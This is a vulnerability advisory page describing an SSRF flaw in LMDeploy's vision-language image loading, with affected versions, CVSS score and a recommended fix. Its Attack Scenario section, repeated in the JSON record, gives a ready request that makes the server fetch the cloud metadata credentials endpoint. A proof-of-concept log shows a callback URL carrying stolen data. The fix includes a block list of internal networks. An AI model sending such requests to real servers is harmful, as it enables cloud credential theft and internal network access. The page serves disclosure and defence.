GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-2607

Vulnerability from pysec - Published: 2026-07-13 15:02 - Updated: 2026-07-13 16:04
VLAI
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

  • Tested on: main branch (2026-02-04)
  • Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

  1. No validation of URLs before fetching
  2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
  3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
  4. API keys disabled by default

Attack Scenario

  1. LMDeploy server deployed with vision-language model
  2. Attacker sends request to /v1/chat/completions with malicious image_url:
POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}
  1. Server fetches URL without validation
  2. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

  • Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
  • Internal Service Access: Reach services not exposed to internet
  • Information Disclosure: Port scan internal networks
  • Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Impacted products
Name purl
lmdeploy pkg:pypi/lmdeploy
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy",
        "purl": "pkg:pypi/lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.1.0",
        "0.10.0",
        "0.10.1",
        "0.10.2",
        "0.11.0",
        "0.11.1",
        "0.12.0",
        "0.12.1",
        "0.12.2",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.2.6",
        "0.3.0",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.2.post1",
        "0.5.3",
        "0.6.0",
        "0.6.0a0",
        "0.6.1",
        "0.6.2",
        "0.6.2.post1",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.7.0",
        "0.7.0.post1",
        "0.7.0.post2",
        "0.7.0.post3",
        "0.7.1",
        "0.7.2",
        "0.7.2.post1",
        "0.7.3",
        "0.8.0",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.2.post1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33626",
    "GHSA-6w67-hwm5-92mq"
  ],
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith(\u0027http\u0027):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  LMDeploy SSRF Vulnerability - Proof of Concept                       \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n\u2705 SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security\u0027s research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security",
  "id": "PYSEC-2026-2607",
  "modified": "2026-07-13T16:04:42.331391Z",
  "published": "2026-07-13T15:02:52.394411Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/pull/4447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lmdeploy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6w67-hwm5-92mq"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.